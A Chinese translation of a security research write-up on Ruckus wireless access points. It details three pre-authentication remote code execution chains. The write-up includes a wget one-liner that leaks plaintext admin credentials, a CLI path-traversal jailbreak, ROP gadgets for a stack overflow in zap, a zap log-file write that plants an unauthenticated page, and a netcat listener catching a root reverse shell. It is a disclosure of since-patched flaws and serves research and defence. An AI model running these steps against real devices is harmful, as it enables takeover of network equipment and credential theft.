概述
Ruckus Networks是一家销售有线和无线网络设备及软件的公司。本文介绍了针对Ruckus接入点的漏洞研究,这些漏洞分别导致了3种不同的预认证远程代码执行。其漏洞利用包含了多种漏洞,包括信息和凭据泄露、身份验证绕过、命令注入、路径遍历、栈溢出和任意文件读写。在整个研究过程中,我们共检查了33个不同接入点的固件,发现它们全部存在漏洞。本文还介绍并分享了在进行安全研究过程中使用的框架,包括一个Ghidra脚本和一个Docker化的QEMU完整系统模拟,可以实现简单的跨体系结构的研究。
该研究成果已经在第36届混沌通信大会上发布,视频地址是:https://youtu.be/bmGtG55Zz1Q 。
简介
这项安全研究是我们在参加BlackHat USA 2019之后进行的。我们注意到,Ruckus无线接入点提供了会议的访客Wi-Fi。在我们参会后,我们决定对这些接入点进行分析。本文重点介绍R510 Unleashed接入点。然而,我们认为运行固件版本200.7.10.102.64及以下版本的Ruckus全部室内和室外AP都存在该漏洞。我们对C110、E510、H320、H510、M510、R310、R500、R510、R600、R610、R710、R720、T300、T301n、T310d、T610、T710和T710s进行了分析。一些漏洞也存在于ZoneDirector 1200(10.1.1.0.55)中。我们尝试使用shodan.io对某些设备进行了指纹识别,最后发现可以从互联网上访问数千台设备。
固件分析
要开展最典型的嵌入式设备漏洞研究,我们首先要下载最新的固件。我们决定专注于使用ARMv7 CPU架构的R510 Unleashed。Ruckus提供依赖于Wi-Fi控制器的常规Wi-Fi接入点以及不依赖于控制器的Unleashed版本。
Docker化的QEMU
在提取固件后,我们决定在QEMU中模拟固件的二进制文件。这项研究完全是通过系统仿真完成的。在发现所有3个漏洞后,我们决定购买一台R510设备。在这个Dockerhub中,我们获得了针对以下架构的预构建系统:armv7、armv6、mips和mipsel。这些Docker帮助我们模拟和配置了不同的路由器设置。在本项研究中,我们使用了一个包装了ARMv7 QEMU系统、运行Debian内核的Docker。利用这个设置,我们成功运行了大多数用户空间代码。
在这里,只需要拉取并运行我们的Docker:
docker run -it -p 5575:5575 waveburst/qemu-system-armhf
在我们的容器中,包含一个SSH服务器,因此我们可以将从固件中提取的squashfs目录复制到QEMU和chroot中。
大功告成,我们仅用了5分钟的时间,就得到了chroot的设备模拟环境。
Web服务器配置
R510使用“Embedthis-Appweb/3.4.2”作为其网络界面服务器。其默认配置位于/bin/webs.conf中。在查看配置文件后,我们发现服务器的根目录为/web。此外,我们还可以看到服务器端逻辑使用ejs处理程序,ejs是嵌入式JavaScript引擎。此外,我们了解到文件获取没有任何限制,这意味着我们可以从/web目录中获取任何文件,而不受其扩展名或文件类型的限制。换句话说,这里不存在访问控制。接下来,我们深入研究一下/web目录,看看其中是否能检索到值得注意的文件。
第一个攻击场景
这个攻击场景包括Web界面凭据泄露(CVE-2019-19843)和CLI越狱(CVE-2019-19834),最终可以在访问点上获取root Shell。
服务器Web目录:CVE-2019-19837
/web目录中包含相对大量的文件和目录,它们大多数是标准的html、js、css、images文件,但也有很多文件带有jsp和mod扩展名。出于某种原因,jsp是代表ejs源文件的扩展名,而mod代表已编译的ejs文件。稍后我们将演示我们不一定需要mod文件来运行ejs功能。除了这些文件之外,还有指向不同文件和目录的符号链接。由于这里没有访问控制,因此所有这些链接文件都是可以提取的。
➜ web ls -ld `find . -type l| grep -v "css\|js\|jpg\|ico\|png\|gif\|mod\|jsp"` lrwxrwxrwx 1 wave wave 27 Apr 15 2019 ./tmp/temp_banner -> /tmp/uploadguestbanner_file lrwxrwxrwx 1 wave wave 28 Apr 15 2019 ./tmp/temp_bgimage -> /tmp/uploadguestbgimage_file lrwxrwxrwx 1 wave wave 18 Apr 15 2019 ./tmp/temp_debug -> /tmp/my_debug_file lrwxrwxrwx 1 wave wave 25 Apr 15 2019 ./tmp/temp_logo -> /tmp/uploadguestlogo_file lrwxrwxrwx 1 wave wave 19 Apr 15 2019 ./tmp/temp_map -> /tmp/uploadmap_file lrwxrwxrwx 1 wave wave 26 Apr 15 2019 ./tmp/temp_weblogo -> /tmp/uploadguestlogo_file2 lrwxrwxrwx 1 wave wave 24 Apr 15 2019 ./uploaded -> /etc/airespider/uploaded lrwxrwxrwx 1 wave wave 21 Apr 15 2019 ./user/upgrade_progress -> /tmp/upgrade_progress lrwxrwxrwx 1 wave wave 4 Apr 15 2019 ./user/wps_tool_cache -> /tmp lrwxrwxrwx 1 wave wave 33 Apr 15 2019 ./wpad.dat -> /etc/airespider/uploaded/wpad.dat
到/tmp的符号链接:CVE-2019-19843
上面的命令展示了从/web/user/wps_tool_cache到/tmp目录的符号链接。由于我们在完整的QEMU系统中运行R510,因此我们注意到在/tmp目录中存储了一些系统逻辑。特别是,rpm.log是作为系统初始化的一部分编写的。在检查该日志文件时,我们注意到rpmd每天都会创建一个名为/var/run/rpmkey的备份文件,并且带有新的修订号。
幸运的是,/var/run也会符号链接到/tmp、,因此我们也可以获取这个文件。rpmkey中包含一些二进制数据,为了检查其内容,我们使用了strings命令。根据字符串输出结果,我们发现了两个值得关注的字段:all_powerful_login_name和all_powerful_login_password。这是设备管理员的明文用户凭据。并且,rpmkey的版本号存储在/var/run/rpmkey.rev中。这样一来,我们可以编写一个简短的bash代码,以检索设备的凭据:
➜ demo num=$(wget -q -O - 192.168.0.1/user/wps_tool_cache/var/run/rpmkey.rev);\ wget -q -O - 192.168.0.1/user/wps_tool_cache/var/run/rpmkey$num|\ strings|grep -A 1 all_powerful_login all_powerful_login_name admin all_powerful_login_password mooncake
注意:尽管我们的研究中未包含ZoneDirector 1200 WiFi控制器,但我们确定该设备也存在从/tmp目录中未授权提取文件的漏洞。
CLI越狱:CVE-2019-19834
由于我们可以获得管理员凭据,因此下一步可以尝试弹出busybox Shell。该固件包含一个dropbear可执行文件。在获得管理员凭据后,我们可以从Web界面启用(如果尚未启用)。Dropbear服务器使用与Web界面相同的凭据。但是,它运行另一个名为ruckus_cli2的Shell二进制文件。但是,我们无法让其运行我们指定的任何命令。在使用Ghidra分析这个二进制文件后,我们发现其中存在一个名为!v54!的隐藏命令,该命令可以弹出一个busybox Shell。
然而,!v54!命令需要设备的序列号。由于我们不一定知道这个序列号,因此需要考虑另一种方式。ruckus_cli2支持有限的脚本环境,该环境可以运行一些已保存的Shell脚本。exec命令通过使用特定路径调用execve系统调用来运行脚本。但是,exec命令容易受到路径遍历漏洞的影响,可以用于弹出busybox Shell:
这是接管AP的第一种方案。
Web界面分析
重要二进制文件
接下来,我们需要了解Web界面背后的实现,并查找其中存在的一些Bug。我们使用Ghidra进行二进制反编译操作。
下面的二进制文件负责监视Web界面逻辑:
/bin/webs:一个“Embedthis-Appweb”Web服务器,用于处理HTTP/HTTPS请求并根据其配置执行处理程序。它通过Unix域套接字将命令发送到emfd。
/bin/emfd:包含Web界面逻辑的可执行文件,它将jsa的函数映射到其中的函数。这一二进制文件实现了Web界面命令,例如:备份、网络/防火墙配置、系统信息检索等。
/usr/lib/libemf.so:利用这个库进行Web身份验证和清理。
检索函数名称
Ruckus在二进制文件的已编译代码中保留了详细的日志字符串。左侧的日志字符串适用于所有级别(INFO/WARN/ERROR/DEBUG)。它们还包含打印日志行的函数名称。
由于有了Ghidra脚本环境,我们可以搜索这些日志字符串并提取相关的函数名称。然后,我们可以使用找到的默认函数名称对其进行重命名。
在emfd示例中,它将“un-named”函数的数量从1505减少了874,减少了近50%。
注意:在日志文件中保留敏感信息通常是一个常见的失误,特别是在嵌入式设备中。在我们的团队成员Vera Mens的帮助之下,我们重写了这个脚本。现在,它足够灵活,可以在不同的二进制文件上运行并搜索函数名称模式。该脚本对于许多项目来说可能有所帮助,可以在我们的GitHub上找到。
emfd函数映射
在emfd启动时,它将函数名称字符串映射到函数指针。Web服务器使用ejs处理程序来调用emfd中的函数。调用函数的ejs语法为Delegate()或DelegateAsyn()。举例来说,对/admin/_updateGuestImageName.jsp的请求会运行一个ejs处理程序(_updateGuestImageName.jsp),该处理程序使用
➜ web cat ./admin/_updateGuestImageName.jsp "; console.log(dd);" _ue_custom_node_="true">
Web服务器身份验证机制
Web界面支持4个权限级别:admin、fmuser、user和guest。Emfd的作用是强制执行这些权限。在成功请求使用Delegate()调用进行用户身份验证的jsa页面后,将创建会话。
➜ web grep -nr --include \*login\*.jsp Auth .|grep Delegate ./admin/login.jsp:25: Delegate("AuthAdmin", session['cid'], params["username"], params["password"]); ./admin/fmlogin.jsp:18: Delegate("AuthFM", params["password"], isAdmin,params["fm_user"]); ./user/user_login_web.jsp:47: Delegate("AuthUser", session['cid'], params["username"], params["password"], task, params['email'], params['user'], params['ssid']); ./user/user_login_web.jsp:49: Delegate("AuthUser", session['cid'], params["username"], params["password"], task); ./user/user_login.jsp:41: Delegate("AuthUser", session['cid'], params["username"], params["password"], task, params['email'], params['user'], params['ssid']); ./user/user_login.jsp:43: Delegate("AuthUser", session['cid'], params["username"], params["password"], task); ./user/guest_login.jsp:13: Delegate("AuthGuest", cookie, params['key'], '', redirecturl); ./user/oauth_login.jsp:18:Delegate("OAuthGetLogin", state); ./user/oauth_login2.jsp:4:Delegate("RedirectToOAuthServer", oauth_id,redirecturl); ./uam/_login.jsp:76:Delegate("AuthHotspotUser", cid, username, password, ip, task); ./selfguestpass/login.jsp:13: Delegate("AuthGuest", cookie, params['key'], '', redirecturl);
会话检查机制
如果特定的jsa页面需要认证,则页面负责验证会话的有效性。每个jsa页面都应使用带有SessionCheck或GuestSessionCheck的Delegate()调用来相应地检查会话是否已经通过身份验证或被视为访客。如果不存在这样的调用,则这个jsa页面调用的任何Delegate()函数都不需要身份验证。在以下漏洞利用过程中,我们尝试避免任何身份验证或访客访问。
Grep未经身份验证的函数
我们使用grep命令检查哪些jsa页面不需要经过身份验证的会话。
➜ web grep -l Delegate $(grep -L -nr -m1 --include \*.jsp Check .)|wc -l 67
最终发现,有67个jsa页面没有执行任何类型的会话验证。接下来,我们要检查Delegate()调用了哪些函数。
➜ web grep Delegate $(grep -L -nr -m1 --include \*.jsp Check .)|\ cut -f2 -d"("| awk -F"\)|," '{ print $1 }'|sort|uniq "AjaxRestrictedCmdStat" 'AllowClient' 'AllowClientTmp' "AuthExternUser" "AuthFM" "AuthGuest" "AuthHotspotUser" "AuthUser" "ChangeSponsorEmail" "Cluster" "Download" "DownloadProv" 'FillPageVars' "FillPageVars" "GetApprovalList" "GetDeviceList" 'GetLogo' 'GetSelfServiceTOU' "GetSocialDefaultUrl" "LogoutAdmin" "LogoutHotspotUser" "OAuthGetLogin" "PassOnborading" "QueryApprovalStatus" "RecoveryGuestPass" "RedirectToOAuthServer" "RejectDevice" 'SmartClientOnly' 'TOU' "UpdateUserContact" 'UploadVerify' "UserRegistration" "WechatGetLogin"
根据其名称来判断,AjaxRestrictedCmdStat()似乎是一个很好的目标,我们可以尝试对其进行逆向。但在开始进一步讨论之前,我们首先需要了解Ajax请求时如何工作的。
第二个攻击场景
这个攻击场景涉及到zap可执行文件(CVE-2019-19843)中的栈缓冲区溢出。通过将未经身份验证的HTTP请求发送到Web界面(CVE-2019-19836),可以利用此漏洞。
Ajax请求结构
由于我们在QEMU完整系统模拟中运行设备,因此我们可以拦截发送到Web页面的Ajax请求。这样能有效帮助我们弄清楚emfd期望的XML结构。我们首先查看一下/admin/_cmdstat.jsp请求的正文:
comp:通知emfd使用哪个适配器。适配器就是emfd逻辑块。在启动过程中,会注册所有受支持的适配器。
action:设置要用于特定适配器的函数。每个适配器定义其支持的操作。操作过程可能需要更多属性或子节点。在我们的示例中,action=docmd要求xcmd作为属性和子注释。
updater:包含适配器名称和时间戳。它对于我们的漏洞利用过程来说不是必须的。
AjaxRestrictedCmdStat()
在Ghdira中对该函数进行逆向,发现其预期的属性是xcmd='wc'和comp='zapd'。如果请求有效,则将其传递给AjaxCmdStat()。AjaxCmdStat()负责处理所有Ajax逻辑。它使用adapter_doCommand()将请求传递给名为doCommand()的函数。
doCommand()
doCommand()是一个大型的条件函数,它根据请求中的信息执行不同的命令。cmd属性描述了要运行的功能。使用AjaxRestrictedCmdStat(),我们只能将wc传递给doCommand()。wc命令需要其他属性——wcid、工具、服务器、客户端和zap-type。如果具有全部这些属性,它将调用Shell脚本包装器以执行zap命令。其中的一些属性必须与特定值相匹配才能运行命令。但是,这些内容都没有经过清理。也就意味着,我们可以将任何长度的任意字符串传递给zap命令。
注意:zap还容易受到SSRF的攻击,因为它会将流量发送到特定的任意IP地址(CVE-2019-19835)。
zap
幸运的是,zap的源代码可以从公开来源获取。在其文档中,它被描述为“被设计为一个强大的网络性能测试工具”。经过对zap.c中的代码进行审计后发现,其“-D”参数解析中包含栈溢出漏洞。
case 'D': // int len = strlen(debug_line); for ( j = 2; j < ( int )strlen( argv[i] ); j++ ) { if ( argv[i][j] == ',' ) { argv[i][j] = ' '; } } /*Get debug file name*/ for ( j = 0; j < ( int )strlen( argv[i] ); j++ ) { if ( argv[i][j] == ' ' ) { config->debugfile = (char*)malloc(j * sizeof(char)); strncpy(config->debugfile, argv[i] + 2, j-2); config->debugfile[j-2] = '\0'; break; } } /*Get the start point*/ printf("%s\n", argv[i]); for ( k = j+1; k < ( int )strlen( argv[i] ); k++ ) { if ( argv[i][k] == ' ' ) { char temp[10]; printf("%s\nlen: %d-%d=%d\n", argv[i]+j,k,j, k-j); strncpy(temp, argv[i]+j, k-j); value = atoi(temp); } } /*Get end point*/ for ( k = j+1; k < ( int )strlen( argv[i] ); k++ ) { if ( argv[i][k] == ' ' ) { printf("%s\n",&argv[i][k+1]); if ( sscanf( &argv[i][k+1], "%d", &stop_value ) != 1 ) { // Bad scan.. return 1; } } } break;
上述是解析“-D”参数的代码,我们来分析一下这段代码的作用。首先,它将所有的逗号替换为空格。然后,将每个段复制到临时缓冲区。由于它预期输入的内容是数值,因此仅会使用非常小的缓冲区。这里尝试使用strncpy来保护代码。但是,它使用了整个字符串的长度作为n。因此,就不能有效的保护字符串复制过程,从而让攻击者可以实现栈溢出攻击。
由于我们可以控制zap的参数,因此可以传递原始参数,在“-D”后面紧跟着溢出Payload。
栈溢出漏洞利用:CVE-2019-19840
R510在启用了NX和ASLR的ARMv7体系结构上运行。为了应对NX,我们决定使用ROP小工具。
POST /tools/_cmdstat.jsp HTTP/1.1 Content-Type: application/x-www-form-urlencoded charset=UTF-8 Content-Length: 473
两个小工具都可以在libc中找到:
Gadget 1 - sub sp, fp, #0x14 ; pop {r4, r5, r6, r7, fp, pc} Gadget 2 - mov r0, r4 ; pop {r4, pc} system()
关于如何应对ASLR,由于zap是由emfd分叉的,因此我们采用了暴力破解的方式来应对其9位随机性。
以上就是接管R510 AP的第二种方案。
第三个攻击场景
这一种攻击场景中,包括使用zap可执行文件的任意文件写入(CVE-2019-19836)。在这里,我们可以创建一个新的jsp页面,该页面不需要身份验证,并且容易受到命令注入漏洞的影响(CVE-2019-19838、CVE-2019-19839、CVE-2019-19841、CVE-2019-19842)。
命令注入
首先,让我们来共同了解emfd如何执行Shell命令。Emfd使用6种不同的函数来执行Shell命令。其中一些直接调用libc中的函数,例如system()、popen()和execve()。其他则是调用运行Shell脚本处理程序的包装器。其中Shell执行调用的多样性表明可能会存在例如命令注入之类的漏洞。
从上面的函数可以看出,system()是最容易利用的函数。它似乎也具有较高的引用次数(107次)。我们的目标是找到一种可以控制其参数的方式,来调用system()的函数。下面是满足这一条件的4个函数:cmdSpectraAnalysis() CVE-2019-19842、cmdImportAvpPort() CVE-2019-19838、cmdImportCatagory() CVE-2019-19839和cmdPacketCapture() CVE-2019-19841。使用第二个场景中描述的相同机制,可以从doCommand()通过AjaxCmdStat()访问所有4个函数。
但是,它们都取决于对/admin/_cmdstat.jsp页面的请求,该页面负责检查会话身份验证。
➜ squashfs-root cat web/admin/_cmdstat.jsp
如果会话有效,则所有4个函数都应该存在漏洞。在本文中,我们将重点放在其中的cmdImportAvpPort()上。
反编译结果显示,uploadFile属性是从请求XML中获取的,并且没有进行清理就插入到命令变量中。在这里,实际上可以使用任何命令注入Payload,它们都能有效工作。
POST /tools/_cmdstat.jsp HTTP/1.1 Content-Type: application/x-www-form-urlencoded charset=UTF-8 X-CSRF-Token: oaMM8EBv1Y Content-Length: 225 Cookie: -ejs-session-=x236a14bd195e0f136942005c785bac52
请注意,这里需要有效的Cookie和CSRF令牌。而我们希望能尽量避免验证。如果我们可以编写一个新的页面来调用Delegate("AjaxCmdStat", session["cid"]);,该页面中不包含条件或会话检查,就可以满足要求。要编写这样的页面,我们还需要一个任意文件写入楼栋,以及/web中一个可写的目录。
任意文件写入
从第二个场景中我们发现,可以将不需要的参数传递给zap可执行文件,而无需进行身份验证。参数-L负责说明zap日志文件的写入位置,并且没有路径上的限制。因此,我们可以将文件写入所需的任意位置。但是,我们仍然无法完全控制写入的内容,日志的结构仍然在限制我们的发挥。那么,我们先观察一下zap.c中的zap_pkg_drop_dump_file()是如何写入日志文件的,具体如下:
fileio = fopen( config->logfile, "r" ); if ( !fileio ) { new_file = 1; } else { new_file = 0; fclose( fileio ); } fileio = fopen( config->logfile, "a+" ); if ( !fileio ) { fprintf( stderr, "Error, file probably open by another application.\n" ); return 1; } // Dump package drop information. if ( new_file ) { // If a new file, make the first row have text tags for all the columns fprintf( fileio, "Zap Version%c", delimit ); fprintf( fileio, "Filename%c", delimit ); fprintf( fileio, "Protocol%c", delimit ); fprintf( fileio, "Invert Open%c", delimit ); fprintf( fileio, "Tx IP%c", delimit ); fprintf( fileio, "Rx IP%c", delimit ); fprintf( fileio, "Multicast%c", delimit ); fprintf( fileio, "ToS%c", delimit ); fprintf( fileio, "Samples%c", delimit ); fprintf( fileio, "Sample Size%c", delimit ); fprintf( fileio, "Payload Length%c", delimit ); fprintf( fileio, "Payload Transmit Delay%c", delimit ); fprintf( fileio, "Payloads Received%c", delimit ); fprintf( fileio, "Payloads Dropped%c", delimit ); fprintf( fileio, "Payloads Repeated%c", delimit ); fprintf( fileio, "Payloads Outoforder%c", delimit ); fprintf( fileio, "Date%c", delimit ); fprintf( fileio, "Notes%c", delimit ); fprintf( fileio, "Tag%c", delimit ); fprintf( fileio, "Sub Tag%c", delimit ); fprintf( fileio, "\n" ); }
幸运的是,config->note,config->tag和config->sub都可以分别使用参数-N、-T和-S进行设置。我们也可以使用相同的方法来传递-T和-S。
zap -s192.168.0.1 -d192.168.0.2 -R -L/web/uploaded/index.jsp -T -X14 -q0xa0 -p50000 -l65444
zap仅在创建与zapd服务器的成功连接后才会写入日志文件。这意味着,我们必须创建一个响应zap的zapd服务器。幸运的是,我们也可以在线找到zapd.c的源代码,并且已经成功对其进行编译。将zap配置到我们的zapd服务器后,我们就可以编写一个页面。
可写目录
最后,我们必须在/web中找到可写的目录。由于/web是squashfs文件系统的一部分,因此只能作为只读目录。幸运的是,我们可以写入到/web/uploaded,因为它能符号链接到/writable/etc/airespider。
➜ squashfs-root ls -lath web/uploaded lrwxrwxrwx 1 wave wave 24 Apr 15 2019 web/uploaded -> /etc/airespider/uploaded ➜ squashfs-root ls -lath etc/airespider lrwxrwxrwx 1 wave wave 24 Apr 15 2019 etc/airespider -> /writable/etc/airespider
页面写入
最后,我们终于可以将所需的所有内容写入到Web界面的一个新jsp页面上。该页面包含对我们的命令注入漏洞功能的ejs调用。如本文前面所述,即使每个jsp页面都有一个相关的mod文件,也不需要获取ejs处理程序来执行jsa页面。现在,我们可以在/uploaded/index.jsp中创建一个易受攻击的页面。
POST /tools/_rcmdstat.jsp HTTP/1.1 Content-Type: application/x-www-form-urlencoded charset=UTF-8 Content-Length: 304
该请求将导致以下页面的创建:
ruckus$ cat /web/uploaded/index.jsp Zap Version,Filename,Protocol,Invert Open,Tx IP,Rx IP,Multicast,ToS,Samples,Sample Size,Payload Length,Payload Transmit Delay,Payloads Received,Payloads Dropped,Payloads Repeated,Payloads Outoforder,Date,Notes,Tag,Sub Tag, 1.83.19,/web/uploaded/index.jsp,udp,Off,192.168.0.2:192.168.0.2,192.168.0.1:192.168.0.1,Off,A0h,1000000,100,65444,1,92,7,0,0,Fri Mar 15 17:09:04 2019,,,
接下来要做的,就是将命令注入发送到/uploaded/index.jsp:
POST /uploaded/index.jsp HTTP/1.1 Content-Type: application/x-www-form-urlencoded charset=UTF-8 Content-Length: 261
然后,监听我们的反向Shell:
➜ squashfs-root nc -vlp 4444 Listening on [0.0.0.0] (family 0, port 4444) Connection from 192.168.0.1 49117 received! echo $USER root
以上就是接管AP的第三种方案。
总结
针对这一系列设备的漏洞研究过程令人兴奋,其中涉及到了各种不同的漏洞。将其中的一些漏洞组合利用尽管具有挑战性,但却非常有帮助。这项安全研究也是我们试验Docker模拟环境的绝佳机会。事实证明,我们的模拟环境非常有用。上述全部漏洞详情已经通知Ruckus Wireless,并在Ruckus Unleashed AP 200.7.10.202.92中实现修复。由于Ruckus还具有其他的攻击面,因此我们还会开展后续的深入研究。
本文翻译自:https://alephsecurity.com/2020/01/14/ruckus-wireless/如若转载,请注明原文地址: